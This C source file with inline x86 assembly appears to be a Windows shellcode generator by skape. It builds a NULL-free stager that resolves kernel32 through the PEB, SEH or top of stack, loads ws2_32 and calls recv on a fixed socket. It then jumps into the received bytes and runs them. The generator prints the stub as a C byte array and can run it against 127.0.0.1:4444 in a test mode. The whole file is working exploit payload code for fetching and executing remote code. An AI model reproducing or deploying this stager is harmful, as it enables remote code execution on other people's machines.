/*
 * Generic read from static fd, jump shellcode
 *
 * Targets
 * 
 *    95/98/ME/NT/2K/XP
 *
 * Usage
 *
 *    $ staticfdread.exe
 *    Usage: staticfdread.exe [test | cstyle] [fd]
 *
 *    To generate usable code:
 *
 *    $ staticfdread.exe cstyle 928
 *
 *    To test the code by having it simulate a connection to 127.0.0.1:4444
 *
 *    $ staticfdread.exe test
 *
 * Features/Quirks:
 *
 *    * No NULLs.
 *
 * Disclaimer
 *
 *    The author cannot be held responsible for how this code is used.
 *
 * Compile
 *
 *    Kernel32 resolution via PEB (Default)
 *  
 *       cl staticfdread.c /link /debug ws2_32.lib
 *
 *    Kernel32 resolution via SEH
 *
 *       cl /DUSE_KERNEL32_METHOD_SEH staticfdread.c /link /debug ws2_32.lib
 *
 *    Kernel32 resolution via TOPSTACK (Note: NT/2K/XP only)
 *
 *       cl /DUSE_KERNEL32_METHOD_TOPSTACK staticfdread.c /link /debug ws2_32.lib
 *
 * skape
 * mmiller@hick.org
 */
#include <windows.h>
#include <stdio.h>

#pragma warning(disable: 4068)

#define STATIC_FD_OFFSET              0xa5
#define STATIC_FD_OFFSET_MASK         0xab
#define SET_STATIC_FD(buf, fd)        *(unsigned long *)(((buf)+STATIC_FD_OFFSET)) = (fd)
#define SET_STATIC_FD_MASK(buf, mask) *(unsigned long *)(((buf)+STATIC_FD_OFFSET_MASK)) = (mask)

int __declspec(naked) staticfdread_begin()
{
	__asm
	{
		entry:
			jmp startup                        // Skip over our lookup functions

#include "generic.c"

		startup:

			call find_kernel32                 // Resolve kernel32 base address
			mov  edx, eax                      // Save it in edx

			push 0xec0e4e8e                    // Push LoadLibraryA hash
			push edx                           // Push kernel32 handle
			call find_function                 // Call find_function
			mov  ebx, eax                      // Save the VMA of LoadLibraryA in ebx

		load_ws2_32:
			xor  eax, eax                      // Zero eax
			mov  ax, 0x3233                    // Set low half to 32
			push eax                           // Push it
			push 0x5f327377                    // Push 'ws2_'
			push esp                           // Push the pointer to 'ws2_32'
			call ebx                           // Call LoadLibraryA
			mov  edx, eax                      // Save the handle in edx

		load_ws2_32_syms:
			push 0xe71819b6                    // Push recv hash
			push edx                           // Push ws2_32 handle
			call find_function                 // Call find_function
			mov  edi, eax                      // Save the VMA to recv in edi

			mov  esi, 0x41414141               // XXX: Replaced with the actual fd
			and  esi, 0x92929292               // XXX: Replaced with mask

		recv_fd:
			xor  eax, eax                      // Zero eax
			xor  ebx, ebx                      // Zero ebx
			inc  eax                           // Set eax to 0x00000001
			sal  eax, 0x0d                     // Shift left 14 setting eax to 0x00002000
			sub  esp, eax                      // Allocate 8K of stack space.
			mov  ebp, esp                      // Save the stack pointer
			push ebx                           // Push Flags (0)
			push eax                           // Push Length (0x2000)
			push ebp                           // Push Buffer
			push esi                           // Push Fd
			call edi                           // Call recv
		jmp_code:
			jmp  ebp                           // Jump into our code
	}
}

void __declspec(naked) staticfdread_end()
{
	__asm ret
}

int main(int argc, char **argv)
{
	if (argc == 1)
	{
		fprintf(stdout, "Usage: %s [test | cstyle] [fd]\n", argv[0]);
		return 0;
	}

	if (!strcmp(argv[1], "test"))
	{
		char *args[] = { "none", "cstyle", NULL, "run" };
		WORD ver = MAKEWORD(2,2);
		struct sockaddr_in s;
		char fdString[32];
		WSADATA data;
		int fd;
	
		WSAStartup(ver, &data);
	
		fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	
		s.sin_family      = AF_INET;
		s.sin_port        = htons(4444);
		s.sin_addr.s_addr = inet_addr("127.0.0.1");
	
		if (connect(fd, (struct sockaddr *)&s, sizeof(s)) < 0)
		{
			printf("connect failed.\n");

			return 0;
		}
	
		printf("fd is %d.\n", fd);

		_snprintf(fdString, sizeof(fdString) - 1, "%d", fd);

		args[2] = fdString;

		return main(4, args);
	}
	else if (!strcmp(argv[1], "cstyle"))
	{
		unsigned char *copy  = NULL;
		unsigned char *start = (unsigned char *)((unsigned char *)staticfdread_begin);
		unsigned char *stop  = (unsigned char *)((unsigned char *)staticfdread_end);
		unsigned char *c     = NULL;
		unsigned long x      = 0, length, fd = 0, mask = 0xffffffff;

		// Calculate the actual address in memory of the begin/end function based off their relative jmp points.
		start  += *(unsigned long *)((unsigned char *)staticfdread_begin + 1) + 5;
		stop   += *(unsigned long *)((unsigned char *)staticfdread_end + 1) + 5;
		length  = stop - start;

		if (argc >= 3)
			fd = strtoul(argv[2], NULL, 10);

		// Set zero bytes to 0x41 and mask to 0x92 to eliminate nulls
		if (!(fd & 0x000000ff)) fd |= 0x00000041, mask &= ~(0x0000006d);
		if (!(fd & 0x0000ff00)) fd |= 0x00004100, mask &= ~(0x00006d00);
		if (!(fd & 0x00ff0000)) fd |= 0x00410000, mask &= ~(0x006d0000);
		if (!(fd & 0xff000000)) fd |= 0x41000000, mask &= ~(0x6d000000);

		if (!(copy = (unsigned char *)malloc(length)))
		{
			fprintf(stdout, "failed to allocate buffer\n");
			return 0;
		}

		memcpy(copy, start, length);

		// Set the static fd
		SET_STATIC_FD(copy, fd);
		SET_STATIC_FD_MASK(copy, mask);

		fprintf(stdout, "// %lu byte staticfdread shellcode\n\n", length);
		fprintf(stdout, "unsigned char staticfdread[] = \"");

		for (x = 0;
				x < length;
				x++)
			fprintf(stdout, "\\x%2.2x", copy[x]);

		fprintf(stdout, "\";\n\n");

		if (argc >= 4 && !strcmp(argv[3], "run"))
			((void (*)())copy)();
	}
	else
		fprintf(stdout, "%s: invalid option\n", argv[0]);

	return 1;
}
